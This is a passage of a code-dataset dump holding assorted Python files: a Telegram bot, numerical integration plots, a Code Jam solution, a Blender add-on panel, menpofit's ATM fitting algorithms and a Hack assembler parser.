on_callback_query(self) \\\n -> Callable[[Callable[[CallbackQuery], Any]], Callable[[CallbackQuery], bool]]:\n def wrapper(handler: Callable[[CallbackQuery], bool]):\n def listener(update: Update):\n return handler(update.callback_query)\n\n self.add_listener('callback_query', listener)\n return handler\n\n return wrapper\n\n def on_inline_query(self) \\\n -> Callable[[Callable[[InlineQuery], Any]], Callable[[InlineQuery], bool]]:\n def wrapper(handler: Callable[[InlineQuery], bool]):\n def listener(update: Update):\n return handler(update.inline_query)\n\n self.add_listener('inline_query', listener)\n return handler\n\n return wrapper\n","repo_name":"fazlali/telegram_pot","sub_path":"src/telegram_pot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"36682364064","text":"from scipy.integrate import quad\nfrom numpy import linspace,sin,cos\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef f(u):\n\treturn u*sin(u)\n\ndef exact(x):\n return sin(x) - x*cos(x)\n\ndef trap(f,x,N):\n ls = linspace(0,x,N)\n coeff = np.full(N,1)\n coeff[0] = .5\n coeff[-1] = .5\n \n return (x/N) * np.sum(coeff*f(ls))\n\ndef simps(f,x,N):\n return trap(f,x,N+(N&1))\n\ndef plot(x,ys,title,x_label,y_label,x_lim=None,y_lim=None,label_=None):\n plt.title(title)\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n if isinstance(ys,tuple):\n for y in ys:\n plt.plot(x,y,label=label_)\n else:\n plt.plot(x,ys,label=label_)\n if x_lim:\n plt.xlim(*x_lim)\n if y_lim: \n plt.ylim(*y_lim)\n \nx = linspace(0,20,1000)\nN = int(input('N? '))\n\ny_exact = exact(x)\n\ny_simps = [simps(f,point,N)+5 for point in x]\ny_quad = [quad(f,0,point)[0]+10 for point in x]\n\nplot(x,y_exact,'','x','$x sin(x^2)$',label_='Trapezoid')\nplot(x,y_simps,'','x','$x sin(x^2)$',label_='Simpon\\'s rule')\nplot(x,y_quad,'','x','$x sin(x^2)$',label_='Exact')\n\n#plt.show()\n","repo_name":"manavkulshrestha/Computational_Physics","sub_path":"3.19-ND/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23407033961","text":"import re\r\n\r\ndef main():\r\n#\tfileIn = \"inputsample.txt\"\r\n\tfileIn = \"A-small-attempt0.in\"\r\n\tfileOut = \"output.txt\"\r\n\t\r\n\tfin = open(fileIn, 'r')\r\n\tfout = open(fileOut, 'w')\r\n\tisFirstLine = True\r\n\t\r\n\tcases = int(fin.readline())\r\n\tfor case in range(cases):\r\n\t\toutputStr = \"Case #\" + str((case+1)) + \": \"\r\n\t\tmatches = 0\r\n\t\t\r\n\t\t# Read in the input\r\n\t\ttempLineArr = fin.readline().split(\" \")\r\n\t\tcaseStr = tempLineArr[0]\r\n\t\tn = int(tempLineArr[1])\r\n\t\t\r\n\t\t# Solve the test case\r\n\t\tstrLen = len(caseStr)\r\n\t\tfor pos in range(strLen):\r\n\t\t\t# Iterate through each letter as the starting point\r\n\t\t\tlenToEnd = strLen - pos\r\n\t\t\tposEnd = pos + 1\r\n\t\t\tif(lenToEnd < n):\r\n\t\t\t\tbreak\r\n\t\t\t\r\n\t\t\t# Incrementally increase the substring size\r\n\t\t\t# and check the string\r\n\t\t\twhile(posEnd <= strLen):\r\n\t\t\t\tstrSnippet = caseStr[pos:posEnd]\r\n#\t\t\t\tprint \"strSnippet: \" + strSnippet\r\n\t\t\t\t\r\n\t\t\t\t# Check to see if the snippet is valid\r\n\t\t\t\tvalid = isValidStr(strSnippet, n)\r\n\r\n\t\t\t\t# If the snippet is valid, increment appropriately\r\n\t\t\t\tif(valid):\r\n\t\t\t\t\taddTo = lenToEnd - len(strSnippet) + 1\r\n#\t\t\t\t\tprint \"\\tAdding \" + str(addTo) + \" to matches\"\r\n\t\t\t\t\tmatches = matches + addTo\r\n\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\tposEnd = posEnd + 1\t\t# Increment\r\n\t\t\t\t\t\t\r\n\t\t# Write to the output file\r\n\t\toutputStr = outputStr + str(matches)\r\n#\t\tprint \"\\n\\t\" + outputStr\r\n\t\tif(isFirstLine):\r\n\t\t\tfout.write(outputStr)\r\n\t\t\tisFirstLine = False\r\n\t\telse:\r\n\t\t\tfout.write(\"\\n\" + outputStr)\r\n\t\t\r\n\t\t# Increment the case counter\r\n\t\r\n\t# Close the files\r\n\tfin.close()\r\n\tfout.close()\r\n\t\r\ndef isValidStr(strSnippet, n):\r\n\tvalid = False\r\n\tpattern = re.compile(\"[aeiou]\")\r\n\t\r\n\tfor pos2 in range(len(strSnippet)):\r\n\t\tsubSnippet = strSnippet[pos2:(pos2+n)]\r\n\t\tif((pattern.search(subSnippet) == None) \\\r\n\t\t\tand (len(subSnippet) >= n)):\r\n\t\t\t# Matched!\r\n\t\t\tvalid = True\r\n\t\t\tbreak\r\n\treturn valid\r\n\t\r\nif __name__ == '__main__':\r\n\tmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_126/584.py","file_name":"584.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"29089215112","text":"'''\nTests for 'soane.comms.create'.\n'''\n\nimport click\n\nfrom soane.comms.create import create\n\ndef test_read(cli, monkeypatch):\n # setup\n opens = []\n func = lambda path: opens.append(path)\n monkeypatch.setattr(click, 'launch', func)\n\n # success\n book, outs = cli(create, 'delta')\n assert book['delta'].exists()\n assert outs == []\n\n # success - with --open\n book, outs = cli(create, 'echo', '--open-after')\n assert book['echo'].exists()\n assert outs == []\n assert opens == [book['echo'].path]\n\n # failure - existing note\n book, outs = cli(create, 'alpha')\n assert outs == [\n \"Error: the note 'alpha' already exists.\\n\",\n ]\n","repo_name":"spheten/soane","sub_path":"tests/test_comms/test_create.py","file_name":"test_create.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"24807770702","text":"import bpy\nfrom bpy.types import Panel , UIList, Operator\nimport bpy.utils.previews\n\nimport os \n\npreview_collections = {}\npcoll = bpy.utils.previews.new()\npreview_collections[\"main\"] = pcoll\nmy_icons_dir = os.path.join(os.path.dirname(__file__), \"icons\")\nfor icon_name in os.listdir(my_icons_dir):\n if icon_name.endswith(\".png\"):\n pcoll.load(icon_name[:-4], os.path.join(my_icons_dir, icon_name), 'IMAGE')\n\nclass TM_PT_Option(Panel):\n bl_label = \"Options\"\n bl_idname = \"MY_PT_OptionPanel\"\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"UI\"\n bl_category = \"Task Master\"\n preview_collections = {\"main\"}\n\n def draw(self, context):\n layout = self.layout\n box = layout.box()\n row = box.row(align=True)\n row.operator('taskmaster.find_help', text=\"Find help.\", icon='INFO') \n \n \n \n# -----------------------------------------------------------------------------\n# ui list tasks\n# ----------------------------------------------------------------------------- \n\nclass MY_UL_List(UIList):\n task_index: bpy.props.IntProperty() \n \n\n def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):\n layout = layout.row()\n row = layout.row() \n pcoll = preview_collections[\"main\"]\n \n if item.is_pausedtask:\n my_icon = pcoll[\"uncheck2\"] \n else:\n my_icon = pcoll[\"check1\"] \n row.scale_x = .7 \n row.operator(\"my_list.pause_resume_task\", icon_value=my_icon.icon_id, text=\"\", emboss=False).task_index = index\n row = layout.row() \n row.scale_x = .7\n row.prop(item, \"name\", text=\"\", emboss=False) \n row.scale_x = .7 \n row.prop(item, \"tags\", text=\"\", emboss=False) \n \n if context.scene.is_recurrence:\n row.scale_x =.5\n row.label(text=item.recurrence) \n \n if context.scene.is_datecomplete:\n row.scale_x = .8\n row.label(text=item.date_created) \n else:\n row.scale_x = .4 \n row.label(text=item.date_created.split(\" \")[0])\n\n if item.task_status == 'PENDING':\n layout.label(text='To Do', icon_value=pcoll[\"afaire1\"].icon_id) \n elif item.task_status == 'IN_PROGRESS':\n layout.label(text='Begin', icon_value=pcoll[\"begin\"].icon_id) \n elif item.task_status == 'COMPLETED':\n layout.label(text='Finish', icon_value=pcoll[\"fini1\"].icon_id)\n row.scale_x = 2 \n layout.operator(\"my.cycle_task_status\", text=\"\", icon_value=pcoll[\"refresh1\"].icon_id).task_index = index\n \n\n\n def update_timer(self, context):\n task = context.scene.my_list[self.task_index]\n if task.is_running:\n task.elapsed_time += time.time() - task.start_time\n task.start_time = time.time()\n bpy.context.area.tag_redraw()\n def modal(self, context, event):\n if event.type == 'TIMER': \n bpy.context.area.tag_redraw()\n bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations=1)\n return {'RUNNING_MODAL'}\n def execute(self, context):\n wm = context.window_manager\n self._timer = wm.event_timer_add(0.1, window=context.window)\n wm.modal_handler_add(self)\n return {'RUNNING_MODAL'}\n\n# -----------------------------------------------------------------------------\n# ui list timers\n# ----------------------------------------------------------------------------- \nclass TM_UL_ListChrono(UIList):\n timer_index : bpy.props.IntProperty() \n\n def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):\n \n if self.layout_type in {'DEFAULT', 'COMPACT'}:\n row = layout.row()\n \n if item.chrono_active:\n # Get time remaining\n tabs = layout.row()\n remaining_time = ( item.chrono_time - item.elapsed_time )\n remaining_time_max = max(remaining_time, 0)\n hours, remainder = divmod(remaining_time_max, 3600)\n minutes, seconds = divmod(remainder, 60)\n \n row.label(text=\"{:02d}:{:02d}:{:02d}\".format(int(hours), int(minutes), int(seconds)))\n progress = item.elapsed_time / item.chrono_time\n if progress < 101:\n tabs=layout.row()\n tabs.scale_x = 1.3\n tabs.label(text=f\"Progress: {progress:.0%}\")\n \n else:\n \n # Draw timer with elapsed time\n elapsed_time = item.elapsed_time\n hours, remainder = divmod(elapsed_time, 3600)\n minutes, seconds = divmod(remainder, 60)\n row.label(text=\"{:02d}:{:02d}:{:02d}\".format(int(hours), int(minutes), int(seconds)))\n \n \n\n\n# -----------------------------------------------------------------------------\n# panel\n# ----------------------------------------------------------------------------- \n\nclass MY_PT_ParentPanel(Panel):\n bl_label = \"Task Master\"\n bl_idname = \"MY_PT_ParentPanel\"\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"UI\"\n bl_category = \"Task Master\"\n preview_collections = {\"main\"}\n \n _test_modal = None\n \n def __init__(self):\n self._timer = None\n self.start_time = None\n self.elapsed_time = 0\n \n def draw(self, context):\n layout = self.layout\n row = layout.row()\n \n icon = 'TRIA_DOWN' if context.scene.subpanel_status_4 else 'TRIA_RIGHT'\n row.prop(context.scene, 'subpanel_status_4', icon=icon, icon_only=True)\n row.label(text='Tasks')\n \n if context.scene.subpanel_status_4:\n pcoll = preview_collections[\"main\"]\n row.alignment = 'LEFT'\n\n finished_tasks_count = 0\n task_list = context.scene.my_list\n for task in task_list:\n if task.is_resumedtask :\n finished_tasks_count += 1\n elif task.task_status == 'COMPLETED':\n finished_tasks_count += 1\n \n \n\n\n # Afficher le nombre de tâches terminées / nombre total de tâches\n layout = self.layout\n row = layout.row()\n col = row.column()\n split = col.split(align=True)\n split.label(text=\"Tâches terminées : {} / {}\".format(finished_tasks_count, len(task_list)))\n row = layout.row()\n \n split.label(text=\"Tâches en cours : {}\".format(len(task_list) - finished_tasks_count))\n row = col.row(align=True)\n row.template_list(\"MY_UL_List\", \"\", context.scene, \"my_list\", context.scene, \"list_index\") \n \n col = row.column(align=True)\n col.operator(\"my_list.new_item\", text=\"\", icon_value=pcoll[\"plusblack1\"].icon_id)\n col.operator(\"my_list.delete_item\", text=\"\", icon_value=pcoll[\"minusblack1\"].icon_id)\n col.operator('my_list.move_item', icon_value=pcoll[\"plus1\"].icon_id, text=\"\").direction = 'UP'\n col.operator('my_list.move_item', icon_value=pcoll[\"minus1\"].icon_id, text=\"\").direction = 'DOWN'\n col.operator(\"object.modify_task\", icon_value=pcoll[\"Setting\"].icon_id, text=\"\")\n pie_menu = col.menu_pie()\n pie_menu.operator(\"wm.call_menu_pie\", icon_value=pcoll[\"importcsv1\"].icon_id, text=\"\").name = \"VIEW3D_MT_pie_select\"\n \n \n \n row = layout.row()\n icon = 'TRIA_DOWN' if context.scene.subpanel_status_5 else 'TRIA_RIGHT'\n row.prop(context.scene, 'subpanel_status_5', icon=icon, icon_only=True)\n row.label(text='options')\n \n if context.scene.subpanel_status_5:\n pcoll = preview_collections[\"main\"]\n split = layout.split(factor=.5, align=True)\n sce = context.scene\n box = layout.box()\n row = box.row(align=True)\n row.prop(sce, \"is_datecomplete\") \n row.prop(sce, \"is_recurrence\", text=\"afficher recurrence\")\n layout = self.layout\n row = layout.row()\n # subpanel\n \n \n \n ","repo_name":"SynR-gy/TaskMaster","sub_path":"TM_PT_panel.py","file_name":"TM_PT_panel.py","file_ext":"py","file_size_in_byte":8382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"4706474011","text":"import copy\nfrom enum import Enum\nimport math\nimport numpy as np\nimport strafevis.strafe\n\nclass StatType(Enum):\n ACCEL = 0\n ANGLE = 1\n\ndef get_ang_accel(data, angle):\n copy_data = copy.deepcopy(data)\n strafevis.strafe.strafe(copy_data, angle)\n diff = math.abs(copy_data.yaw() - data.yaw())\n return diff / data.frametime\n\ndef get_accel(data, angle):\n copy_data = copy.deepcopy(data)\n strafevis.strafe.strafe(copy_data, angle)\n diff = copy_data.speed_2d() - data.speed_2d()\n return diff / data.frametime\n\n\ndef get_stats(points, stat_type, **kwargs):\n accels = np.zeros(points)\n rads = np.zeros(points)\n\n min_angle = 0\n max_angle = 360 - 1.0 / points\n increment = (max_angle - min_angle) / points\n data = strafevis.strafe.StrafeData(**kwargs)\n for i in range(points):\n angle = i * increment + min_angle\n if stat_type == StatType.ACCEL:\n accels[i] = get_accel(data, angle)\n else:\n accels[i] = get_ang_accel(data, angle)\n rads[i] = strafevis.strafe.deg2rad(angle)\n return accels, rads\n","repo_name":"fabianod/strafevis","sub_path":"strafevis/strafe_stats.py","file_name":"strafe_stats.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"14036284404","text":"import csv\n\ndef parseLine(line):\n splitted_text = line.split(';')\n step = splitted_text[0]\n state = splitted_text[1]\n reward_str = splitted_text[2]\n\n\n reward = reward_str.replace('[', '')\n reward = reward.replace(']', '')\n reward = reward.replace(' ', '')\n\n return step, state, float(reward)\n\n\ndef parseAppOutput(filename):\n input_lines = []\n count = 0\n\n original_filename = filename + '.csv'\n with open(original_filename, 'r') as inputfile:\n lines = inputfile.readlines()\n\n for line in lines:\n if count > 1:\n step, state, reward = parseLine(line)\n input_lines.append([step, state, reward])\n count += 1\n\n new_filename = filename + '-parsed.csv'\n with open(new_filename, 'w+', newline='') as csvfile:\n writer = csv.writer(csvfile, delimiter=';')\n writer.writerow(['Step', 'State', 'Reward'])\n\n for line in input_lines:\n writer.writerow(line)\n\n return new_filename\n","repo_name":"ippossebon/floodlight-api-look-ahead-rl","sub_path":"plots/scripts/parseAppOutput.py","file_name":"parseAppOutput.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"44400735340","text":"import random\n\nprint('OUTPUT')\nprint('------')\nprint('Nilesh Jain - 180953226')\nprint(\"\\n\")\ndict = {}\nn = int(input(\"Enter number of values:\"))\nfor i in range(n):\n dict[random.randint(0,100)] = input(\"Enter value:\")\n\nsum=0\ncount=0\nstring = \"\"\nfor key,value in dict.items():\n if(value.isdigit()):\n sum+=int(value)\n count+=1\n else:\n string+=value\n\nprint(\"\\n\")\nprint('Average is:', sum/count)\nprint('Concatenated string is:', string)\n\nfound = False\nprint(\"\\n\")\nsearch = input('Enter value to be searched:')\nif(search.isdigit()):\n print('Please enter string')\nelse:\n for key,value in dict.items():\n if(value==search):\n found=True\n print('Element', value, \"found at key\", key)\n if(found==False):\n print(\"Element not found!\")\n \nprint('Elements with only special characters:')\nfor key, value in dict.items():\n special = True\n for i in range(len(value)):\n if(value[i].isalpha() or value[i].isdigit()):\n special = False\n break\n if(special==True):\n print(value)\n","repo_name":"nileshnj993/advanced-programming-lab","sub_path":"Lab 1 & 2/Lab 2/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"40872542221","text":"from __future__ import division\nimport numpy as np\n\nfrom menpofit.result import ParametricIterativeResult\nfrom menpofit.aam.algorithm.lk import (LucasKanadeBaseInterface,\n LucasKanadePatchBaseInterface)\n\n\n# ----------- INTERFACES -----------\nclass ATMLucasKanadeStandardInterface(LucasKanadeBaseInterface):\n r\"\"\"\n Interface for Lucas-Kanade optimization of standard ATM. Suitable for\n :map:`HolisticATM`.\n\n Parameters\n ----------\n transform : `subclass` of :map:`DL` and :map:`DX`, optional\n A differential warp transform object, e.g.\n :map:`DifferentiablePiecewiseAffine` or\n :map:`DifferentiableThinPlateSplines`.\n template : `menpo.image.Image` or subclass\n The image template.\n sampling : `list` of `int` or `ndarray` or ``None``\n It defines a sampling mask per scale. If `int`, then it defines the\n sub-sampling step of the sampling mask. If `ndarray`, then it explicitly\n defines the sampling mask. If ``None``, then no sub-sampling is applied.\n \"\"\"\n def __init__(self, transform, template, sampling=None):\n super(ATMLucasKanadeStandardInterface, self).__init__(\n transform, template, sampling=sampling)\n\n def algorithm_result(self, image, shapes, shape_parameters,\n initial_shape=None, gt_shape=None, costs=None):\n r\"\"\"\n Returns an ATM iterative optimization result object.\n\n Parameters\n ----------\n image : `menpo.image.Image` or subclass\n The image on which the optimization is applied.\n shapes : `list` of `menpo.shape.PointCloud`\n The `list` of shapes per iteration.\n shape_parameters : `list` of `ndarray`\n The `list` of shape parameters per iteration.\n initial_shape : `menpo.shape.PointCloud` or ``None``, optional\n The initial shape from which the fitting process started. If\n ``None``, then no initial shape is assigned.\n gt_shape : `menpo.shape.PointCloud` or ``None``, optional\n The ground truth shape that corresponds to the test image.\n costs : `list` of `float` or ``None``, optional\n The `list` of costs per iteration. If ``None``, then it is\n assumed that the cost computation for that particular algorithm\n is not well defined.\n\n Returns\n -------\n result : :map:`ParametricIterativeResult`\n The optimization result object.\n \"\"\"\n return ParametricIterativeResult(\n shapes=shapes, shape_parameters=shape_parameters,\n initial_shape=initial_shape, image=image, gt_shape=gt_shape,\n costs=costs)\n\n\nclass ATMLucasKanadeLinearInterface(ATMLucasKanadeStandardInterface):\n r\"\"\"\n Interface for Lucas-Kanade optimization of linear ATM. Suitable for\n `menpofit.atm.LinearATM` and `menpofit.atm.LinearMaskedATM`.\n \"\"\"\n @property\n def shape_model(self):\n r\"\"\"\n Returns the shape model of the ATM.\n\n :type: `menpo.model.PCAModel`\n \"\"\"\n return self.transform.model\n\n def algorithm_result(self, image, shapes, shape_parameters,\n initial_shape=None, costs=None, gt_shape=None):\n r\"\"\"\n Returns an ATM iterative optimization result object.\n\n Parameters\n ----------\n image : `menpo.image.Image` or subclass\n The image on which the optimization is applied.\n shapes : `list` of `menpo.shape.PointCloud`\n The `list` of sparse shapes per iteration.\n shape_parameters : `list` of `ndarray`\n The `list` of shape parameters per iteration.\n initial_shape : `menpo.shape.PointCloud` or ``None``, optional\n The initial shape from which the fitting process started. If\n ``None``, then no initial shape is assigned.\n gt_shape : `menpo.shape.PointCloud` or ``None``, optional\n The ground truth shape that corresponds to the test image.\n costs : `list` of `float` or ``None``, optional\n The `list` of costs per iteration. If ``None``, then it is\n assumed that the cost computation for that particular algorithm\n is not well defined.\n\n Returns\n -------\n result : :map:`ParametricIterativeResult`\n The optimization result object.\n \"\"\"\n # TODO: Separate result for linear ATM that stores both the sparse\n # and dense shapes per iteration (@patricksnape will fix this)\n # This means that the linear ATM will only store the sparse shapes\n shapes = [self.transform.from_vector(p).sparse_target\n for p in shape_parameters]\n return ParametricIterativeResult(\n shapes=shapes, shape_parameters=shape_parameters,\n initial_shape=initial_shape, image=image, gt_shape=gt_shape,\n costs=costs)\n\n\nclass ATMLucasKanadePatchInterface(LucasKanadePatchBaseInterface):\n r\"\"\"\n Interface for Lucas-Kanade optimization of patch-based ATM. Suitable for\n `menpofit.atm.PatchATM`.\n \"\"\"\n def algorithm_result(self, image, shapes, shape_parameters,\n initial_shape=None, costs=None, gt_shape=None):\n r\"\"\"\n Returns an ATM iterative optimization result object.\n\n Parameters\n ----------\n image : `menpo.image.Image` or subclass\n The image on which the optimization is applied.\n shapes : `list` of `menpo.shape.PointCloud`\n The `list` of shapes per iteration.\n shape_parameters : `list` of `ndarray`\n The `list` of shape parameters per iteration.\n initial_shape : `menpo.shape.PointCloud` or ``None``, optional\n The initial shape from which the fitting process started. If\n ``None``, then no initial shape is assigned.\n gt_shape : `menpo.shape.PointCloud` or ``None``, optional\n The ground truth shape that corresponds to the test image.\n costs : `list` of `float` or ``None``, optional\n The `list` of costs per iteration. If ``None``, then it is\n assumed that the cost computation for that particular algorithm\n is not well defined.\n\n Returns\n -------\n result : :map:`ParametricIterativeResult`\n The optimization result object.\n \"\"\"\n return ParametricIterativeResult(\n shapes=shapes, shape_parameters=shape_parameters,\n initial_shape=initial_shape, image=image, gt_shape=gt_shape,\n costs=costs)\n\n\n# ----------- ALGORITHMS -----------\nclass LucasKanade(object):\n r\"\"\"\n Abstract class for a Lucas-Kanade optimization algorithm.\n\n Parameters\n ----------\n atm_interface : The ATM interface class. Existing interfaces include:\n\n ================================= ============================\n 'ATMLucasKanadeStandardInterface' Suitable for holistic ATM\n 'ATMLucasKanadeLinearInterface' Suitable for linear ATM\n 'ATMLucasKanadePatchInterface' Suitable for patch-based ATM\n ================================= ============================\n\n eps : `float`, optional\n Value for checking the convergence of the optimization.\n \"\"\"\n def __init__(self, atm_interface, eps=10**-5):\n self.eps = eps\n self.interface = atm_interface\n self._precompute()\n\n @property\n def transform(self):\n r\"\"\"\n Returns the model driven differential transform object of the AAM, e.g.\n :map:`DifferentiablePiecewiseAffine` or\n :map:`DifferentiableThinPlateSplines`.\n\n :type: `subclass` of :map:`DL` and :map:`DX`\n \"\"\"\n return self.interface.transform\n\n @property\n def template(self):\n r\"\"\"\n Returns the template of the ATM.\n\n :type: `menpo.image.Image` or subclass\n \"\"\"\n return self.interface.template\n\n def _precompute(self):\n # grab number of shape and appearance parameters\n self.n = self.transform.n_parameters\n\n # vectorize template and mask it\n self.t_m = self.template.as_vector()[self.interface.i_mask]\n\n # compute warp jacobian\n self.dW_dp = self.interface.warp_jacobian()\n\n # compute shape model prior\n # TODO: Is this correct? It's like modelling no noise at all\n noise_variance = self.interface.shape_model.noise_variance() or 1\n s2 = 1.0 / noise_variance\n L = self.interface.shape_model.eigenvalues\n self.s2_inv_L = np.hstack((np.ones((4,)), s2 / L))\n\n\nclass Compositional(LucasKanade):\n r\"\"\"\n Abstract class for defining Compositional ATM optimization algorithms.\n \"\"\"\n def run(self, image, initial_shape, gt_shape=None, max_iters=20,\n return_costs=False, map_inference=False):\n r\"\"\"\n Execute the optimization algorithm.\n\n Parameters\n ----------\n image : `menpo.image.Image`\n The input test image.\n initial_shape : `menpo.shape.PointCloud`\n The initial shape from which the optimization will start.\n gt_shape : `menpo.shape.PointCloud` or ``None``, optional\n The ground truth shape of the image. It is only needed in order\n to get passed in the optimization result object, which has the\n ability to compute the fitting error.\n max_iters : `int`, optional\n The maximum number of iterations. Note that the algorithm may\n converge, and thus stop, earlier.\n return_costs : `bool`, optional\n If ``True``, then the cost function values will be computed\n during the fitting procedure. Then these cost values will be\n assigned to the returned `fitting_result`. *Note that the costs\n computation increases the computational cost of the fitting. The\n additional computation cost depends on the fitting method. Only\n use this option for research purposes.*\n map_inference : `bool`, optional\n If ``True``, then the solution will be given after performing MAP\n inference.\n\n Returns\n -------\n fitting_result : :map:`ParametricIterativeResult`\n The parametric iterative fitting result.\n \"\"\"\n # define cost closure\n def cost_closure(x):\n return x.T.dot(x)\n\n # initialize transform\n self.transform.set_target(initial_shape)\n p_list = [self.transform.as_vector()]\n shapes = [self.transform.target]\n\n # initialize iteration counter and epsilon\n k = 0\n eps = np.Inf\n\n # Compositional Gauss-Newton loop -------------------------------------\n\n # warp image\n self.i = self.interface.warp(image)\n # vectorize it and mask it\n i_m = self.i.as_vector()[self.interface.i_mask]\n\n # compute masked error\n self.e_m = i_m - self.t_m\n\n # update costs\n costs = None\n if return_costs:\n costs = [cost_closure(self.e_m)]\n\n while k < max_iters and eps > self.eps:\n # solve for increments on the shape parameters\n self.dp = self._solve(map_inference)\n\n # update warp\n s_k = self.transform.target.points\n self._update_warp()\n p_list.append(self.transform.as_vector())\n shapes.append(self.transform.target)\n\n # warp image\n self.i = self.interface.warp(image)\n # vectorize it and mask it\n i_m = self.i.as_vector()[self.interface.i_mask]\n\n # compute masked error\n self.e_m = i_m - self.t_m\n\n # update costs\n if return_costs:\n costs.append(cost_closure(self.e_m))\n\n # test convergence\n eps = np.abs(np.linalg.norm(s_k - self.transform.target.points))\n\n # increase iteration counter\n k += 1\n\n # return algorithm result\n return self.interface.algorithm_result(\n image=image, shapes=shapes, shape_parameters=p_list,\n initial_shape=initial_shape, gt_shape=gt_shape, costs=costs)\n\n\nclass ForwardCompositional(Compositional):\n r\"\"\"\n Forward Compositional (FC) Gauss-Newton algorithm.\n \"\"\"\n def _solve(self, map_inference):\n # compute warped image gradient\n nabla_i = self.interface.gradient(self.i)\n # compute masked forward Jacobian\n J_m = self.interface.steepest_descent_images(nabla_i, self.dW_dp)\n # compute masked forward Hessian\n JJ_m = J_m.T.dot(J_m)\n # solve for increments on the shape parameters\n if map_inference:\n return self.interface.solve_shape_map(\n JJ_m, J_m, self.e_m, self.s2_inv_L,\n self.transform.as_vector())\n else:\n return self.interface.solve_shape_ml(JJ_m, J_m, self.e_m)\n\n def _update_warp(self):\n # update warp based on forward composition\n self.transform._from_vector_inplace(\n self.transform.as_vector() + self.dp)\n\n def __str__(self):\n return \"Forward Compositional Algorithm\"\n\n\nclass InverseCompositional(Compositional):\n r\"\"\"\n Inverse Compositional (IC) Gauss-Newton algorithm.\n \"\"\"\n def _precompute(self):\n # call super method\n super(InverseCompositional, self)._precompute()\n # compute appearance model mean gradient\n nabla_t = self.interface.gradient(self.template)\n # compute masked inverse Jacobian\n self.J_m = self.interface.steepest_descent_images(-nabla_t, self.dW_dp)\n # compute masked inverse Hessian\n self.JJ_m = self.J_m.T.dot(self.J_m)\n # compute masked Jacobian pseudo-inverse\n self.pinv_J_m = np.linalg.solve(self.JJ_m, self.J_m.T)\n\n def _solve(self, map_inference):\n # solve for increments on the shape parameters\n if map_inference:\n return self.interface.solve_shape_map(\n self.JJ_m, self.J_m, self.e_m, self.s2_inv_L,\n self.transform.as_vector())\n else:\n return -self.pinv_J_m.dot(self.e_m)\n\n def _update_warp(self):\n # update warp based on inverse composition\n self.transform._from_vector_inplace(\n self.transform.as_vector() - self.dp)\n\n def __str__(self):\n return \"Inverse Compositional Algorithm\"\n","repo_name":"papulke/face-of-art","sub_path":"menpofit/atm/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":14467,"program_lang":"python","lang":"en","doc_type":"code","stars":251,"dataset":"github-code","pt":"61"}
+{"seq_id":"72662460353","text":"from enum import Enum\nimport re\nimport sys\n\n\nclass CommandType(Enum):\n A_COMMAND = 'A_COMMAND'\n C_COMMAND = 'C_COMMAND'\n L_COMMAND = 'L_COMMAND'\n\n\nclass Parser:\n def __init__(self, filePath: str):\n with open(filePath, 'r') as f:\n self.lines = f.readlines() + ['']\n self.pc = 0\n self.advance()\n\n def hasMoreCommands(self) -> bool:\n return self.pc < len(self.lines)\n\n def advance(self) -> None:\n self.currentInstruction = re.sub(\n r'(\\s)|(\\/\\/.*)', '', self.lines[self.pc])\n self.pc += 1\n if self.currentInstruction == '' and self.hasMoreCommands():\n self.advance()\n\n def commandType(self) -> CommandType:\n if self.currentInstruction[0] == '@':\n return CommandType.A_COMMAND\n elif self.currentInstruction[0] == '(':\n return CommandType.L_COMMAND\n else:\n return CommandType.C_COMMAND\n\n def symbol(self) -> str:\n return re.sub(r'[\\)\\(\\@]', '', self.currentInstruction)\n\n def dest(self) -> str:\n return re.sub(r'=.*|^[^=]*$', '', self.currentInstruction)\n\n def comp(self) -> str:\n return re.sub(r'(.*=)|(;.*)', '', self.currentInstruction)\n\n def jump(self) -> str:\n return re.sub(r'.*;|^[^;]*$', '', self.currentInstruction)\n\n\nclass Code:\n def __init__(self):\n self.destDict = {\n '': '000',\n 'M': '001',\n 'D': '010',\n 'MD': '011',\n 'A': '100',\n 'AM': '101',\n 'AD': '110',\n 'AMD': '111',\n }\n self.compDict = {\n '0': '0101010',\n '1': '0111111',\n '-1': '0111010',\n 'D': '0001100',\n 'A': '0110000',\n 'M': '1110000',\n '!D': '0001101',\n '!A': '0110001',\n '!M': '1110001',\n '-D': '0001111',\n '-A': '0110011',\n '-M': '1110011',\n 'D+1': '0011111',\n 'A+1': '0110111',\n 'M+1': '1110111',\n 'D-1': '0001110',\n 'A-1': '0110010',\n 'M-1': '1110010',\n 'D+A': '0000010',\n 'D+M': '1000010',\n 'D-A': '0010011',\n 'D-M': '1010011',\n 'A-D': '0000111',\n 'M-D': '1000111',\n 'D&A': '0000000',\n 'D&M': '1000000',\n 'D|A': '0010101',\n 'D|M': '1010101',\n }\n self.jumpDict = {\n '': '000',\n 'JGT': '001',\n 